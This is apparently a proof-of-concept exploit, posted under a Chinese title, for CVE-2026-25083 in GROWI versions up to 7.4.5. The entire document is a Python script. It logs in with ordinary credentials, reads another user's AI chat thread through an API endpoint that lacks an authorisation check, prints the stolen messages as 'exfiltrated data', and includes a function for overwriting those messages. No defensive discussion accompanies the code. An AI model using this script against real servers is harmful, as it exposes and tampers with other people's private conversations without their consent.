CVE-2026-25083 GROWI OpenAI API未授权访问漏洞

import requests import json # CVE-2026-25083 PoC - GROWI OpenAI API Unauthorized Access # Target: GROWI <= v7.4.5 BASE_URL = "http://target-growi-server.com" # Step 1: Authenticate and obtain session cookie def login(username, password): session = requests.Session() login_url = f"{BASE_URL}/_api/v3/auth/login" data = {"name": username, "password": password} resp = session.post(login_url, json=data) return session if resp.status_code == 200 else None # Step 2: Enumerate or obtain target thread ID (via social engineering or info leak) def get_target_thread_id(): # Target thread ID obtained through reconnaissance return "TARGET_THREAD_ID_HERE" # Step 3: Unauthorized access to other user's thread def access_other_user_thread(session, thread_id): headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # API endpoint to retrieve thread messages without proper authorization url = f"{BASE_URL}/_api/v2/ai/threads/{thread_id}/messages" resp = session.get(url, headers=headers) if resp.status_code == 200: print(f"[SUCCESS] Unauthorized access to thread {thread_id}") return resp.json() else: print(f"[FAILED] Status: {resp.status_code}") return None # Step 4: Tamper with messages (if writable) def tamper_message(session, thread_id, message_id, new_content): url = f"{BASE_URL}/_api/v2/ai/threads/{thread_id}/messages/{message_id}" data = {"content": new_content} resp = session.put(url, json=data) return resp.status_code == 200 if __name__ == "__main__": # Replace with valid credentials session = login("[email protected]", "password123") if session: thread_id = get_target_thread_id() # Access victim's thread without authorization messages = access_other_user_thread(session, thread_id) if messages: print("Exfiltrated data:", json.dumps(messages, indent=2))